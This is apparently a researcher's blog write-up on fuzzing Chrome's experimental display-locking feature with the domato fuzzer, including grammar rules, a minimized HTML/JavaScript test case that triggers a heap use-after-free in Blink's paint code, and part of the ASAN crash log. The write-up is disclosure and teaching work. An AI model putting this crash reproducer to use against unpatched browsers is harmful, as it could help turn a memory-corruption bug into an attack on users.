Background
While searching for interesting fresh functionalities in Google Chrome that would possibly be good targets for hunting safety bugs I found display locking [https://www.chromestatus.com/feature/4613920211861504]. In general it is related to rendering optimization, so it caught my attention as something that is affecting how the web page layout is displayed. Functionalities like this should always attract attention as possible origin of vulnerabilities. presently display locking is hidden behind a flag (#enable-display-locking).
Setup
I utilized the same setup already described in my erstwhile blog post about fuzzing the portal component [https://blog.redteam.pl/2019/12/chrome-portal-element-fuzzing.html]. In general there were quite a few changes to the spec and implementation of display locking functionality during the time I worked on it. First it was a JavaScript API [https://discourse.wicg.io/t/proposal-display-locking/2905], later it became a HTML attribute [https://github.com/whatwg/html/issues/4861] and at the time of writing this article it has been moved into CSS [https://github.com/WICG/display-locking]. yet what it took to find an interesting issue was only a tiny addition to the grammar in the form of adding 1 HTML attribute – rendersubtree.
The following grammar was utilized with domato fuzzer:
attributevalues.txt:
<rendersubtree_value> = invisible
<rendersubtree_value> = skip-activation
<rendersubtree_value> = skip-viewport-activation
<rendersubtree_value> = holdupgrades
<rendersubtree_value> = holdloads
html.txt:
<attribute> = <attribute_rendersubtree>
<attribute_eventhandler> = <attribute_onrendersubtreeactivation>
<attribute_rendersubtree> = rendersubtree="<rendersubtree_value>"
<attribute_onrendersubtreeactivation> = onrendersubtreeactivation="<eventhandler>"
js.txt:
<Element>.rendersubtree = "<rendersubtree_value>";
<Element>.setAttribute("rendersubtree", "<rendersubtree_value>");
<Element>.setAttribute("rendersubtree", "");
setTimeout('<Element>.setAttribute("rendersubtree", "<rendersubtree_value>");', <int min=0 max=2000>);
setTimeout('<Element>.setAttribute("rendersubtree", "");', <int min=0 max=2000>);
<new EventHandler> = <GlobalEventHandlers>.onrendersubtreeactivation;
<GlobalEventHandlers>.onrendersubtreeactivation = <EventHandler>;
jshelpers.txt:
<string_attr> = "rendersubtree"
<string_attr> = "onrendersubtreeactivation"
<string_attrvalue> = "<rendersubtree_value>"
tagattributes.txt:
<div_attribute> = <attribute_rendersubtree>
<iframe_attribute> = <attribute_rendersubtree>
<img_attribute> = <attribute_rendersubtree>
[...]
Note that rendersubtree attribute has been deprecated and current implementation is in CSS properties, more specifically subtree-visiblity and contain-intrinsic-size.
Fuzzing results
As usual any null pointer dereferences were showing up, so nothing truly interesting there. It took any time and then after the implementation change, as already mentioned before an interesting crash showed up after the rendersubtree attribute was implemented.
Heap Use-After-Free in chrome!blink::PaintLayer::CommonAncestor
A Use-After-Free vulnerability in PaintLayer::CommonAncestor [https://bugs.chromium.org/p/chromium/issues/detail?id=1033795] that was reported on December 13, 2019. Below is simply a minimized test case that triggered the issue.
<html>
<head>
<style>
</style>
<script>
function boom1() {
var fuzz1 = document.getElementById("fuzz1");
var svgfuzz1 = document.getElementById("svgfuzz1");
svgfuzz1.addEventListener("DOMSubtreeModified", boom1);
fuzz1.setAttribute("rendersubtree", "invisible");
fuzz1.src = "x";
}
function boom2() {
fuzz2.setAttribute("rendersubtree", "invisible");
document.caretRangeFromPoint(71,6);
document.body.appendChild(fuzz1);
}
</script>
</head>
<body>
<svg id="svgfuzz1" onload="boom1()" >
<a>
<title id="fuzz2"></title>
<animate onrepeat="boom2()" repeatDur="indefinite" dur="1"/>
</svg>
<a>
<audio id="fuzz1" controls="controls" >
</audio>
</body>
</html>
The issue was confirmed on 80.0.3987.7 dev 64-bit and 81.0.3993.0 canary 64-bit.
Part of the ASAN log:
==426180==ERROR: AddressSanitizer: heap-use-after-free on address 0x1218d6e37560 at pc 0x7ff951ca7e53 bp 0x00ebfd9f78e0 sp 0x00ebfd9f7928
READ of size 8 at 0x1218d6e37560 thread T0
#0 0x7ff951ca7e52 in blink::PaintLayer::CommonAncestor(class blink::PaintLayer const *) const C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\paint\paint_layer.cc:3551:1
#1 0x7ff95525eac9 in blink::CompositingInputsRoot::Update(class blink::PaintLayer *) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\paint\compositing\compositing_inputs_root.cc:24:44
#2 0x7ff951c94f89 in blink::PaintLayer::RemoveChild(class blink::PaintLayer *) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\paint\paint_layer.cc:1373:5
#3 0x7ff95153d609 in blink::LayoutObject::RemoveLayers(class blink::PaintLayer *) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\layout\layout_object.cc:632:19
#4 0x7ff95155e20d in blink::LayoutObject::WillBeRemovedFromTree(void) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\layout\layout_object.cc:3160:5
#5 0x7ff954b6d2eb in blink::LayoutObjectChildList::RemoveChildNode(class blink::LayoutObject *, class blink::LayoutObject *, bool) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\layout\layout_object_child_list.cc:124:18
#6 0x7ff952200aaf in blink::LayoutFlexibleBox::RemoveChild(class blink::LayoutObject *) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\layout\layout_flexible_box.cc:280:16
#7 0x7ff95155cb27 in blink::LayoutObject::WillBeDestroyed(void) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\layout\layout_object.cc:3029:3
#8 0x7ff9517db451 in blink::LayoutBoxModelObject::WillBeDestroyed(void) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\layout\layout_box_model_object.cc:220:17
#9 0x7ff95155f3cd in blink::LayoutObject::Destroy(void) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\layout\layout_object.cc:3293:3
Google awarded a $5000 bounty for this one.
Summary
It was a second blog post where I wanted to show that it is possible to find safety vulnerabilities without a large time investment. Picking the right mark and timing is very important. In this case we had a functionality that was a good mark due to the fact that it influenced the rendering/drawing process. It was besides in the early stages of development, specification changed a lot – it is always good time to look for bugs.